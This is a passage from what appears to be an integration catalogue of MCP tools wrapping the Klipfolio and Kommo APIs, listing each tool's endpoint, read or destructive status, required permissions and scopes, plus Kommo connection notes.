/klips/{klip_id}/annotations/{annotation_id} DELETE /api/v1/klipfolio/klips/{klip_id}/annotations/{annotation_id}. Scopes: api. klipfolio_delete_klips_by_id_share_rights (write, destructive) — Delete a group’s share rights for the specified Klip. Requires the Klipfolio role permission `klip.share`. via DELETE /klips/{klip_id}/share-rights DELETE /api/v1/klipfolio/klips/{klip_id}/share-rights. Scopes: api. klipfolio_delete_roles_by_id (write, destructive) — Delete the specific role in the company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /roles/{role_id} DELETE /api/v1/klipfolio/roles/{role_id}. Scopes: api. klipfolio_delete_roles_by_id_permissions (write, destructive) — Delete a specific role permission in the company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /roles/{role_id}/permissions DELETE /api/v1/klipfolio/roles/{role_id}/permissions. Scopes: api. klipfolio_delete_roles_by_id_users_by_id (write, destructive) — Delete the specific user from the role in the company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /roles/{role_id}/users/{user_id} DELETE /api/v1/klipfolio/roles/{role_id}/users/{user_id}. Scopes: api. klipfolio_delete_tabs_by_id (write, destructive) — Delete tab from the company or client account. Requires the Klipfolio role permission `tab.delete`. via DELETE /tabs/{tab_id} DELETE /api/v1/klipfolio/tabs/{tab_id}. Scopes: api. klipfolio_delete_tabs_by_id_klip_instances (write, destructive) — Delete a Klip that is on a tab in the company or client account. Requires the Klipfolio role permission `dashboard.tab`. via DELETE /tabs/{tab_id}/klip-instances DELETE /api/v1/klipfolio/tabs/{tab_id}/klip-instances. Scopes: api. klipfolio_delete_tabs_by_id_share_rights_by_group_id (write, destructive) — Revoke access to a group tab in the company or client account. Requires the Klipfolio role permission `tab.share`. via DELETE /tabs/{tab_id}/share-rights/{group_id} DELETE /api/v1/klipfolio/tabs/{tab_id}/share-rights/{group_id}. Scopes: api. klipfolio_delete_users_by_id (write, destructive) — Delete the specified user in the company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /users/{user_id} DELETE /api/v1/klipfolio/users/{user_id}. Scopes: api. klipfolio_delete_users_by_id_groups_by_id (write, destructive) — Delete a specified user from specified groups in the company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /users/{user_id}/groups/{group_id} DELETE /api/v1/klipfolio/users/{user_id}/groups/{group_id}. Scopes: api. klipfolio_delete_users_by_id_properties (write, destructive) — Delete properties associated with a user in your company or client account. Deleting a user property will delete the property from all users in your account. Requires the Klipfolio role permission `user.manage`. via DELETE /users/{user_id}/properties DELETE /api/v1/klipfolio/users/{user_id}/properties. Scopes: api. klipfolio_delete_users_by_id_roles_by_id (write, destructive) — Delete the user from a specified role in your company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /users/{user_id}/roles/{role_id} DELETE /api/v1/klipfolio/users/{user_id}/roles/{role_id}. Scopes: api. klipfolio_delete_users_by_id_tab_instances_by_id (write, destructive) — Delete a user’s tab instance in your company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /users/{user_id}/tab-instances/{tab_instance_id} DELETE /api/v1/klipfolio/users/{user_id}/tab-instances/{tab_instance_id}. Scopes: api. klipfolio_get_clients (read) — Collects a list of all the clients associated with the requesting account. Users with admin role privileges have access to all clients. Requires the Klipfolio role permission `client.access`. via GET /clients GET /api/v1/klipfolio/clients. Scopes: api. klipfolio_get_clients_by_id (read) — Get the details for the specified client. Requires the Klipfolio role permission `client.access`. via GET /clients/{client_id} GET /api/v1/klipfolio/clients/{client_id}. Scopes: api. klipfolio_get_clients_by_id_features (read) — Update the status of the specified feature. Users with admin role privileges have access to all clients. Requires the Klipfolio role permission `client.edit`. via GET /clients/{client_id}/features GET /api/v1/klipfolio/clients/{client_id}/features. Scopes: api. klipfolio_get_clients_by_id_properties (read) — Retrieve a list of the client's company properties. Requires the Klipfolio role permission `client.access`. via GET /clients/{client_id}/properties GET /api/v1/klipfolio/clients/{client_id}/properties. Scopes: api. klipfolio_get_clients_by_id_resources (read) — Lists all resources (dashboards, API resources, private links) allocated to a specified client. Users with admin role privileges have access to all clients. Requires the Klipfolio role permission `client.access`. via GET /clients/{client_id}/resources GET /api/v1/klipfolio/clients/{client_id}/resources. Scopes: api. klipfolio_get_clients_by_id_settings (read) — Retrieve a list of settings for a specified client. Requires the Klipfolio role permission `client.access`. via GET /clients/{client_id}/settings GET /api/v1/klipfolio/clients/{client_id}/settings. Scopes: api. klipfolio_get_clients_by_id_share_rights (read) — Get a list of the specified client’s share rights. Requires the Klipfolio role permission `client.access`. via GET /clients/{client_id}/share-rights GET /api/v1/klipfolio/clients/{client_id}/share-rights. Scopes: api. klipfolio_get_dashboard_published_links (read) — Returns published link details for a single published link or all published links for a specified dashboard. Requires the Klipfolio role permission `tab.publish`. via GET /dashboard-published-links GET /api/v1/klipfolio/dashboard-published-links. Scopes: api. klipfolio_get_datasource_instances (read) — Get a list of all the datasource-instances to which the user has access. Note that the "id" returned is the id of the data source instance - use this id to query for a specific instance. The id of the related data source is "datasource_id". Requires the Klipfolio role permission `dashboard.library`. via GET /datasource-instances GET /api/v1/klipfolio/datasource-instances. Scopes: api. klipfolio_get_datasource_instances_by_id (read) — Get the details for a specific data source instance id. Note that the "id" returned is the id of the data source instance. The id of the related data source is "datasource_id". *Note: dates are returned in UTC time.*. Requires the Klipfolio role permission `dashboard.library`. via GET /datasource-instances/{instance_id} GET /api/v1/klipfolio/datasource-instances/{instance_id}. Scopes: api. klipfolio_get_datasource_instances_by_id_data (read) — Get the details for the specific data source ID. Requires the Klipfolio role permission `dashboard.library`. via GET /datasource-instances/{instance_id}/data GET /api/v1/klipfolio/datasource-instances/{instance_id}/data. Scopes: api. klipfolio_get_datasource_instances_by_id_properties (read) — Get the properties for the specific. Requires the Klipfolio role permission `dashboard.library`. via GET /datasource-instances/{instance_id}/properties GET /api/v1/klipfolio/datasource-instances/{instance_id}/properties. Scopes: api. klipfolio_get_datasources (read) — Get a list of all the data sources to which the user has access. Requires the Klipfolio role permission `dashboard.library`. via GET /datasources GET /api/v1/klipfolio/datasources. Scopes: api. klipfolio_get_datasources_by_id (read) — Get the details for the specific data source id. Requires the Klipfolio role permission `dashboard.library`. via GET /datasources/{datasource_id} GET /api/v1/klipfolio/datasources/{datasource_id}. Scopes: api. klipfolio_get_datasources_by_id_properties (read) — Retrieve a list of a data source's properties. via GET /datasources/{datasource_id}/properties GET /api/v1/klipfolio/datasources/{datasource_id}/properties. Scopes: api. klipfolio_get_datasources_by_id_share_rights (read) — Retrieve a list of a data source's share rights. via GET /datasources/{datasource_id}/share-rights GET /api/v1/klipfolio/datasources/{datasource_id}/share-rights. Scopes: api. klipfolio_get_groups (read) — Get the details for all groups in the company or client account. via GET /groups GET /api/v1/klipfolio/groups. Scopes: api. klipfolio_get_groups_by_id (read) — Get the details for the specific group in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /groups/{group_id} GET /api/v1/klipfolio/groups/{group_id}. Scopes: api. klipfolio_get_groups_by_id_default_tabs (read) — Retrieve a list of default tabs (now called dashboards) for a specific group. Requires the Klipfolio role permission `user.manage`. via GET /groups/{group_id}/default-tabs GET /api/v1/klipfolio/groups/{group_id}/default-tabs. Scopes: api. klipfolio_get_groups_by_id_default_tabs_by_id (read) — Retrieve the details for a specific group and specific dashboard (tab). Requires the Klipfolio role permission `user.manage`. via GET /groups/{group_id}/default-tabs/{default_tab_id} GET /api/v1/klipfolio/groups/{group_id}/default-tabs/{default_tab_id}. Scopes: api. klipfolio_get_groups_by_id_users (read) — Get the details for all users in a group. Requires the Klipfolio role permission `dashboard.library`. via GET /groups/{group_id}/users GET /api/v1/klipfolio/groups/{group_id}/users. Scopes: api. klipfolio_get_klips (read) — Get a list of all the Klips the user can access in the company or client account. Requires the Klipfolio role permission `dashboard.library`. via GET /klips GET /api/v1/klipfolio/klips. Scopes: api. klipfolio_get_klips_by_id (read) — Get the details for the specified Klip in the company or client account. Requires the Klipfolio role permission `dashboard.library`. via GET /klips/{klip_id} GET /api/v1/klipfolio/klips/{klip_id}. Scopes: api. klipfolio_get_klips_by_id_annotations (read) — Retrieve a list of annotations for a specified Klip in the company or client account. Requires the Klipfolio role permission `dashboard.annotation.view`. via GET /klips/{klip_id}/annotations GET /api/v1/klipfolio/klips/{klip_id}/annotations. Scopes: api. klipfolio_get_klips_by_id_annotations_by_id (read) — Retrieve the details of an annotation for a specified Klip in the company or client account. Requires the Klipfolio role permission `dashboard.annotation.view`. via GET /klips/{klip_id}/annotations/{annotation_id} GET /api/v1/klipfolio/klips/{klip_id}/annotations/{annotation_id}. Scopes: api. klipfolio_get_klips_by_id_client_instances (read) — Returns a list of Klip instances for a specified Klip in the company or client account. Requires the Klipfolio role permission `client.access`, `dashboard.library`. via GET /klips/{klip_id}/client-instances GET /api/v1/klipfolio/klips/{klip_id}/client-instances. Scopes: api. klipfolio_get_klips_by_id_schema (read) — Get the schema for the specified klip in the company or client account. Requires the Klipfolio role permission `klip.edit`. via GET /klips/{klip_id}/schema GET /api/v1/klipfolio/klips/{klip_id}/schema. Scopes: api. klipfolio_get_klips_by_id_share_rights (read) — Get a list of share rights for the specified Klip. Requires the Klipfolio role permission `dashboard.library`. via GET /klips/{klip_id}/share-rights GET /api/v1/klipfolio/klips/{klip_id}/share-rights. Scopes: api. klipfolio_get_profile (read) — Retrieve information about the authenticated user account. When the full parameter is set to true, the information includes associations (tab instances, dashboard properties, permissions for the authenticated user account). via GET /profile GET /api/v1/klipfolio/profile. Scopes: api. klipfolio_get_roles (read) — Retrieve all of the roles in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /roles GET /api/v1/klipfolio/roles. Scopes: api. klipfolio_get_roles_by_id (read) — Get the details for the specific role id in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /roles/{role_id} GET /api/v1/klipfolio/roles/{role_id}. Scopes: api. klipfolio_get_roles_by_id_permissions (read) — Get a list of all the role’s permissions in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /roles/{role_id}/permissions GET /api/v1/klipfolio/roles/{role_id}/permissions. Scopes: api. klipfolio_get_roles_by_id_users (read) — Get a list of all the users associated with this role in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /roles/{role_id}/users GET /api/v1/klipfolio/roles/{role_id}/users. Scopes: api. klipfolio_get_tabs (read) — Get a list of all the tabs in the company or client account. Requires the Klipfolio role permission `dashboard.library`. via GET /tabs GET /api/v1/klipfolio/tabs. Scopes: api. klipfolio_get_tabs_by_id (read) — Get the details for the specific tab in the company or client account. Requires the Klipfolio role permission `dashboard.library`. via GET /tabs/{tab_id} GET /api/v1/klipfolio/tabs/{tab_id}. Scopes: api. klipfolio_get_tabs_by_id_klip_instances (read) — Get a list of the Klip instances associated with the tab in the company or client account. Requires the Klipfolio role permission `dashboard.tab`. via GET /tabs/{tab_id}/klip-instances GET /api/v1/klipfolio/tabs/{tab_id}/klip-instances. Scopes: api. klipfolio_get_tabs_by_id_layout (read) — Get the layout of a tab in the company or client account. Requires the Klipfolio role permission `dashboard.share`. via GET /tabs/{tab_id}/layout GET /api/v1/klipfolio/tabs/{tab_id}/layout. Scopes: api. klipfolio_get_tabs_by_id_share_rights (read) — Get a list of the tab’s share rights in the company or client account. Requires the Klipfolio role permission `tab.share`. via GET /tabs/{tab_id}/share-rights GET /api/v1/klipfolio/tabs/{tab_id}/share-rights. Scopes: api. klipfolio_get_users (read) — Get a list of all the users in the company or client account. via GET /users GET /api/v1/klipfolio/users. Scopes: api. klipfolio_get_users_by_id (read) — Get details for the specified user in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /users/{user_id} GET /api/v1/klipfolio/users/{user_id}. Scopes: api. klipfolio_get_users_by_id_groups (read) — Retrieve the list of groups to which the specified user belongs in the company or client account. Requires the Klipfolio role permission `user.manage`. via GET /users/{user_id}/groups GET /api/v1/klipfolio/users/{user_id}/groups. Scopes: api. klipfolio_get_users_by_id_properties (read) — Get a list of the user’s properties in your company or client account. Requires the Klipfolio role permission `user.manage`. via GET /users/{user_id}/properties GET /api/v1/klipfolio/users/{user_id}/properties. Scopes: api. klipfolio_get_users_by_id_roles (read) — Get a list of the user’s roles in your company or client account. Requires the Klipfolio role permission `user.manage`. via GET /users/{user_id}/roles GET /api/v1/klipfolio/users/{user_id}/roles. Scopes: api. klipfolio_get_users_by_id_tab_instances (read) — Retrieve a list of the user’s tab instances in your company or client account. Requires the Klipfolio role permission `user.manage`. via GET /users/{user_id}/tab-instances GET /api/v1/klipfolio/users/{user_id}/tab-instances. Scopes: api. klipfolio_post_clients (write) — Create a client. Requires the Klipfolio role permission `client.build`. via POST /clients POST /api/v1/klipfolio/clients. Scopes: api. klipfolio_post_clients_by_id_enable_direct_billing (write) — Switch a client to direct billing. This cannot be undone. This command is only available to Partner accounts. Requires the Klipfolio role permission `client.access`. via POST /clients/{client_id}/@/enable_direct_billing POST /api/v1/klipfolio/clients/{client_id}/@/enable_direct_billing. Scopes: api. klipfolio_post_clients_by_id_extend_trial (write) — Extend a client’s trial period. Requires the Klipfolio role permission `client.access`. via POST /clients/{client_id}/@/extend_trial POST /api/v1/klipfolio/clients/{client_id}/@/extend_trial. Scopes: api. klipfolio_post_clients_by_id_settings (write) — Sets the value of one or more company properties. Requires the Klipfolio role permission `client.access`. via POST /clients/{client_id}/settings POST /api/v1/klipfolio/clients/{client_id}/settings. Scopes: api. klipfolio_post_dashboard_published_links_by_dashboard_id (write) — Creates a new published link. Requires the Klipfolio role permission `tab.publish`. via POST /dashboard-published-links/{dashboard_id} POST /api/v1/klipfolio/dashboard-published-links/{dashboard_id}. Scopes: api. klipfolio_post_datasource_instances (write) — Create a new data source instance based on a data source (specified as “datasource_id” in the post data). Data source instance properties can optionally be specified in the post data. Requires the Klipfolio role permission `datasource.create`. via POST /datasource-instances POST /api/v1/klipfolio/datasource-instances. Scopes: api. klipfolio_post_datasource_instances_by_id_refresh (write) — Refresh the specified data source instance. This refresh operation queues the data source for refresh, but it does not necessarily refresh it instantly. Requires the Klipfolio role permission `dashboard.library`. via POST /datasource-instances/{instance_id}/@/refresh POST /api/v1/klipfolio/datasource-instances/{instance_id}/@/refresh. Scopes: api. klipfolio_post_datasources (write) — Create a data source. Data source properties can optionally be specified in the post data. Requires the Klipfolio role permission `datasource.create`. via POST /datasources POST /api/v1/klipfolio/datasources. Scopes: api. klipfolio_post_datasources_by_id_delete_instances (write) — Delete instances related to a specified data source. Requires the Klipfolio role permission `datasource.delete`. via POST /datasources/{datasource_id}/@/delete_instances POST /api/v1/klipfolio/datasources/{datasource_id}/@/delete_instances. Scopes: api. klipfolio_post_datasources_by_id_disable (write) — Disable the specific datasource ID. Requires the Klipfolio role permission `datasource.edit`. via POST /datasources/{datasource_id}/@/disable POST /api/v1/klipfolio/datasources/{datasource_id}/@/disable. Scopes: api. klipfolio_post_datasources_by_id_enable (write) — Enable the specific datasource id. Requires the Klipfolio role permission `datasource.edit`. via POST /datasources/{datasource_id}/@/enable POST /api/v1/klipfolio/datasources/{datasource_id}/@/enable. Scopes: api. klipfolio_post_datasources_by_id_import (write) — Import the data source into the client account specified in the post data by the client id. The location of the newly imported data source is returned on successful completion. Requires the Klipfolio role permission `datasource.import`. That permission is marked 'only available for partners', so this operation answers 403 on an ordinary account -- an account entitlement rather than a problem with the key. via POST /datasources/{datasource_id}/@/import POST /api/v1/klipfolio/datasources/{datasource_id}/@/import. Scopes: api. klipfolio_post_datasources_refresh (write) — Queue multiple data sources for refresh in one API call. Requires the Klipfolio role permission `datasource.edit`. via POST /datasources/@/refresh POST /api/v1/klipfolio/datasources/@/refresh. Scopes: api. klipfolio_post_groups (write) — Create a new group in the company or client account. Requires the Klipfolio role permission `user.manage`. via POST /groups POST /api/v1/klipfolio/groups. Scopes: api. klipfolio_post_groups_by_id_default_tabs (write) — Add an existing dashboard to a specified group. Requires the Klipfolio role permission `user.manage`. via POST /groups/{group_id}/default-tabs POST /api/v1/klipfolio/groups/{group_id}/default-tabs. Scopes: api. klipfolio_post_klips (write) — Create a Klip; optionally include ‘client_id’ in the post data to create a Klip for a client. A schema may be specified by including ‘schema’ in the post data. If no schema is specified, the new Klip will have a simple default schema, which may be updated using the /klips/{id}/schema resource. Requires the Klipfolio role permission `klip.build`. via POST /klips POST /api/v1/klipfolio/klips. Scopes: api. klipfolio_post_klips_by_id_annotations (write) — Create a new annotation for a specified Klip in the company or client account. Requires the Klipfolio role permission `dashboard.annotation.edit`. via POST /klips/{klip_id}/annotations POST /api/v1/klipfolio/klips/{klip_id}/annotations. Scopes: api. klipfolio_post_klips_by_id_import (write) — Import a Klip. Requires the Klipfolio role permission `klip.import`. That permission is marked 'only available for partners', so this operation answers 403 on an ordinary account -- an account entitlement rather than a problem with the key. via POST /klips/{klip_id}/@/import POST /api/v1/klipfolio/klips/{klip_id}/@/import. Scopes: api. klipfolio_post_klips_by_id_update_from_parent (write) — Updates a specified client instance of a Klip schema by replacing it with the schema of the original Klip. Requires the Klipfolio role permission `account.api`, `klip.import`. That permission is marked 'only available for partners', so this operation answers 403 on an ordinary account -- an account entitlement rather than a problem with the key. via POST /klips/{klip_id}/@/update_from_parent POST /api/v1/klipfolio/klips/{klip_id}/@/update_from_parent. Scopes: api. klipfolio_post_tabs (write) — Create a new tab in the company or client account. Requires the Klipfolio role permission `tab.build`. via POST /tabs POST /api/v1/klipfolio/tabs. Scopes: api. klipfolio_post_tabs_by_id_import (write) — Import the tab into the client account specified in the post data by the client id. All related Klips will also be imported along with the tab. The location of the newly imported tab is returned on success. Requires the Klipfolio role permission `tab.import`. That permission is marked 'only available for partners', so this operation answers 403 on an ordinary account -- an account entitlement rather than a problem with the key. via POST /tabs/{tab_id}/@/import POST /api/v1/klipfolio/tabs/{tab_id}/@/import. Scopes: api. klipfolio_post_users (write) — Create a new user, optionally for a client. user.manage. Requires the Klipfolio role permission `user.manage`. via POST /users POST /api/v1/klipfolio/users. Scopes: api. klipfolio_post_users_by_id_resend_invite (write) — Resend the invitation email to a new user. Requires the Klipfolio role permission `user.manage`. via POST /users/{user_id}/@/resend-invite POST /api/v1/klipfolio/users/{user_id}/@/resend-invite. Scopes: api. klipfolio_post_users_by_id_reset_password (write) — Reset a user password. Requires the Klipfolio role permission `user.manage`. via POST /users/{user_id}/@/reset-password POST /api/v1/klipfolio/users/{user_id}/@/reset-password. Scopes: api. klipfolio_put_clients_by_id (write) — Update the specified client. Requires the Klipfolio role permission `client.edit`. via PUT /clients/{client_id} PUT /api/v1/klipfolio/clients/{client_id}. Scopes: api. klipfolio_put_clients_by_id_properties (write) — Add or update company properties in a client's account. Requires the Klipfolio role permission `client.edit`. via PUT /clients/{client_id}/properties PUT /api/v1/klipfolio/clients/{client_id}/properties. Scopes: api. klipfolio_put_clients_by_id_share_rights (write) — Update the specified client’s share rights. If the client is not already shared with a specified group, a new share right is created, otherwise the existing share right is updated. Requires the Klipfolio role permission `client.share`. via PUT /clients/{client_id}/share-rights PUT /api/v1/klipfolio/clients/{client_id}/share-rights. Scopes: api. klipfolio_put_dashboard_published_links_by_published_link_id (write) — Updates the properties of a published link. Requires the Klipfolio role permission `tab.publish`. via PUT /dashboard-published-links/{published_link_id} PUT /api/v1/klipfolio/dashboard-published-links/{published_link_id}. Scopes: api. klipfolio_put_datasource_instances_by_id_data (write) — Update the specified data source instance with data. Works with files and with raw data. For web accessible data sources use POST /@/refresh to get new data. Requires the Klipfolio role permission `dashboard.library`. via PUT /datasource-instances/{instance_id}/data PUT /api/v1/klipfolio/datasource-instances/{instance_id}/data. Scopes: api. klipfolio_put_datasource_instances_by_id_properties (write) — Create or update properties for this data source instance. If the specified property does not already exist it is created, otherwise the existing property is updated. Requires the Klipfolio role permission `dashboard.library`. via PUT /datasource-instances/{instance_id}/properties PUT /api/v1/klipfolio/datasource-instances/{instance_id}/properties. Scopes: api. klipfolio_put_datasources_by_id (write) — Update the specified data source. Requires the Klipfolio role permission `datasource.edit`. via PUT /datasources/{datasource_id} PUT /api/v1/klipfolio/datasources/{datasource_id}. Scopes: api. klipfolio_put_datasources_by_id_properties (write) — Add or update a data source's properties. via PUT /datasources/{datasource_id}/properties PUT /api/v1/klipfolio/datasources/{datasource_id}/properties. Scopes: api. klipfolio_put_datasources_by_id_share_rights (write) — Add or update a data source's share rights. via PUT /datasources/{datasource_id}/share-rights PUT /api/v1/klipfolio/datasources/{datasource_id}/share-rights. Scopes: api. klipfolio_put_groups_by_id (write) — Update the specified group in the company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /groups/{group_id} PUT /api/v1/klipfolio/groups/{group_id}. Scopes: api. klipfolio_put_groups_by_id_default_tabs_by_id (write) — Update an existing dashboard for a specified group. Requires the Klipfolio role permission `user.manage`. via PUT /groups/{group_id}/default-tabs/{default_tab_id} PUT /api/v1/klipfolio/groups/{group_id}/default-tabs/{default_tab_id}. Scopes: api. klipfolio_put_groups_by_id_users_by_id (write) — Add the user to the group. Requires the Klipfolio role permission `dashboard.library`. via PUT /groups/{group_id}/users/{user_id} PUT /api/v1/klipfolio/groups/{group_id}/users/{user_id}. Scopes: api. klipfolio_put_klips_by_id (write) — Update the specified klip details in the company or client account. To update the klip schema, use the /klips/{id}/schema resource. Requires the Klipfolio role permission `klip.edit`. via PUT /klips/{klip_id} PUT /api/v1/klipfolio/klips/{klip_id}. Scopes: api. klipfolio_put_klips_by_id_annotations_by_id (write) — Update an annotation for a specified Klip in the company or client account. Requires the Klipfolio role permission `dashboard.annotation.edit`. via PUT /klips/{klip_id}/annotations/{annotation_id} PUT /api/v1/klipfolio/klips/{klip_id}/annotations/{annotation_id}. Scopes: api. klipfolio_put_klips_by_id_schema (write) — Update the schema for the specified Klip in the company or client account. Requires the Klipfolio role permission `klip.edit`. via PUT /klips/{klip_id}/schema PUT /api/v1/klipfolio/klips/{klip_id}/schema. Scopes: api. klipfolio_put_klips_by_id_share_rights (write) — Update the share rights for the specified Klip. If the Klip is not already shared with the specified group, a new share-right is created, otherwise the existing share-right is updated. Requires the Klipfolio role permission `klip.share`. via PUT /klips/{klip_id}/share-rights PUT /api/v1/klipfolio/klips/{klip_id}/share-rights. Scopes: api. klipfolio_put_roles_by_id (write) — Update the specified role in the company or client account. Permissions specified will replace existing permissions. Requires the Klipfolio role permission `user.manage`. via PUT /roles/{role_id} PUT /api/v1/klipfolio/roles/{role_id}. Scopes: api. klipfolio_put_roles_by_id_permissions (write) — Update the permissions associated with the role in the company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /roles/{role_id}/permissions PUT /api/v1/klipfolio/roles/{role_id}/permissions. Scopes: api. klipfolio_put_roles_by_id_users_by_id (write) — Add a user to the role in the company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /roles/{role_id}/users/{user_id} PUT /api/v1/klipfolio/roles/{role_id}/users/{user_id}. Scopes: api. klipfolio_put_tabs_by_id (write) — Update the specified tab in the company or client account. Requires the Klipfolio role permission `tab.edit`. via PUT /tabs/{tab_id} PUT /api/v1/klipfolio/tabs/{tab_id}. Scopes: api. klipfolio_put_tabs_by_id_klip_instances (write) — Add a Klip to a tab. The Klip id is used instead of the Klip instance id. Use in the company or client account. * Note:* If region and position are not included, they default to 1 and 0 respectively. Requires the Klipfolio role permission `dashboard.tab`. via PUT /tabs/{tab_id}/klip-instances PUT /api/v1/klipfolio/tabs/{tab_id}/klip-instances. Scopes: api. klipfolio_put_tabs_by_id_layout (write) — Update the layout of the tab. The layout “type” refers to the size and number of Klip columns on the tab. The layout “state” is a JSON object representing the position of each Klip on the tab. Works in the company or client account. Note: all details must be provided or Klips will be removed from dashboard when the command is run. Requires the Klipfolio role permission `dashboard.share`. via PUT /tabs/{tab_id}/layout PUT /api/v1/klipfolio/tabs/{tab_id}/layout. Scopes: api. klipfolio_put_tabs_by_id_share_rights (write) — Update a tab's share rights in the company or client account. If the tab is not already shared with the specified group or user, a new share right is created, otherwise the existing right is updated. Requires the Klipfolio role permission `tab.share`. via PUT /tabs/{tab_id}/share-rights PUT /api/v1/klipfolio/tabs/{tab_id}/share-rights. Scopes: api. klipfolio_put_users_by_id (write) — Update the specified user in the company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /users/{user_id} PUT /api/v1/klipfolio/users/{user_id}. Scopes: api. klipfolio_put_users_by_id_groups_by_id (write) — Add a specified user to one group at a time in the company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /users/{user_id}/groups/{group_id} PUT /api/v1/klipfolio/users/{user_id}/groups/{group_id}. Scopes: api. klipfolio_put_users_by_id_properties (write) — Creates property base on name for all users. Update property for specific user. Use in your company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /users/{user_id}/properties PUT /api/v1/klipfolio/users/{user_id}/properties. Scopes: api. klipfolio_put_users_by_id_roles_by_id (write) — Assign a user to a role in your company or client account. Requires the Klipfolio role permission `user.manage`. via PUT /users/{user_id}/roles/{role_id} PUT /api/v1/klipfolio/users/{user_id}/roles/{role_id}. Scopes: api. klipfolio_put_users_by_id_tab_instances (write) — Add one or more tabs to a user’s dashboard in your company or client account. Use tab IDs not tab instance IDs. Requires the Klipfolio role permission `user.manage`. via PUT /users/{user_id}/tab-instances PUT /api/v1/klipfolio/users/{user_id}/tab-instances. Scopes: api. ================================================================================ ## Kommo URL: https://www.agenticfabriq.com/integrations/kommo Section: Integrated Tools Kommo — 143 MCP tools Provider key: kommo. Scopes: crm, files, files_delete, list_external_messages, notifications, send_external_messages. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. kommo_delete_api_v4_by_entity_by_entity_id_files (write, destructive) — Detach files from an entity via DELETE /api/v4/{entity}/{entity_id}/files DELETE /api/v1/kommo/api/v4/{entity}/{entity_id}/files. Scopes: files_delete. kommo_delete_api_v4_by_entity_custom_fields_by_id (write, destructive) — Deleting a custom field via DELETE /api/v4/{entity}/custom_fields/{id} DELETE /api/v1/kommo/api/v4/{entity}/custom_fields/{id}. Scopes: crm. kommo_delete_api_v4_by_entity_type_custom_fields_groups_by_id (write, destructive) — Delete a field group via DELETE /api/v4/{entity_type}/custom_fields/groups/{id} DELETE /api/v1/kommo/api/v4/{entity_type}/custom_fields/groups/{id}. Scopes: crm. kommo_delete_api_v4_chats_templates (write, destructive) — Delete templates via DELETE /api/v4/chats/templates DELETE /api/v1/kommo/api/v4/chats/templates. Scopes: crm. kommo_delete_api_v4_chats_templates_by_id (write, destructive) — Delete a template via DELETE /api/v4/chats/templates/{id} DELETE /api/v1/kommo/api/v4/chats/templates/{id}. Scopes: crm. kommo_delete_api_v4_leads_pipelines_by_id (write, destructive) — Delete pipeline via DELETE /api/v4/leads/pipelines/{id} DELETE /api/v1/kommo/api/v4/leads/pipelines/{id}. Scopes: crm. kommo_delete_api_v4_leads_pipelines_by_pipeline_id_statuses_by_id (write, destructive) — Delete pipeline stage via DELETE /api/v4/leads/pipelines/{pipeline_id}/statuses/{id} DELETE /api/v1/kommo/api/v4/leads/pipelines/{pipeline_id}/statuses/{id}. Scopes: crm. kommo_delete_api_v4_leads_unsorted_by_uid_decline (write, destructive) — Declining incoming leads via DELETE /api/v4/leads/unsorted/{uid}/decline DELETE /api/v1/kommo/api/v4/leads/unsorted/{uid}/decline. Scopes: crm. kommo_delete_api_v4_roles_by_id (write, destructive) — Delete role via DELETE /api/v4/roles/{id} DELETE /api/v1/kommo/api/v4/roles/{id}. Scopes: crm. kommo_delete_api_v4_sources (write, destructive) — Delete sources via DELETE /api/v4/sources DELETE /api/v1/kommo/api/v4/sources. Scopes: crm. kommo_delete_api_v4_sources_by_id (write, destructive) — Delete source via DELETE /api/v4/sources/{id} DELETE /api/v1/kommo/api/v4/sources/{id}. Scopes: crm. kommo_delete_api_v4_webhooks (write, destructive) — Delete webhook via DELETE /api/v4/webhooks DELETE /api/v1/kommo/api/v4/webhooks. Scopes: crm. kommo_delete_api_v4_widgets_by_widget_code (write, destructive) — Uninstalling widget via DELETE /api/v4/widgets/{widget_code} DELETE /api/v1/kommo/api/v4/widgets/{widget_code}. Scopes: crm. kommo_get_api_v4_account (read) — Account parameters via GET /api/v4/account GET /api/v1/kommo/api/v4/account. Scopes: crm. kommo_get_api_v4_bots (read) — Salesbots list via GET /api/v4/bots GET /api/v1/kommo/api/v4/bots. Scopes: crm. kommo_get_api_v4_bots_by_id (read) — Get a Salesbot by ID via GET /api/v4/bots/{id} GET /api/v1/kommo/api/v4/bots/{id}. Scopes: crm. kommo_get_api_v4_by_entity_by_entity_id_files (read) — Get files attached to an entity via GET /api/v4/{entity}/{entity_id}/files GET /api/v1/kommo/api/v4/{entity}/{entity_id}/files. Scopes: files. kommo_get_api_v4_by_entity_by_entity_id_links (read) — Linked entities list via GET /api/v4/{entity}/{entity_id}/links GET /api/v1/kommo/api/v4/{entity}/{entity_id}/links. Scopes: crm. kommo_get_api_v4_by_entity_type_by_entity_id_notes (read) — Get notes list of entity via GET /api/v4/{entity_type}/{entity_id}/notes GET /api/v1/kommo/api/v4/{entity_type}/{entity_id}/notes. Scopes: crm. kommo_get_api_v4_by_entity_type_custom_fields (read) — Custom fields list via GET /api/v4/{entity_type}/custom_fields GET 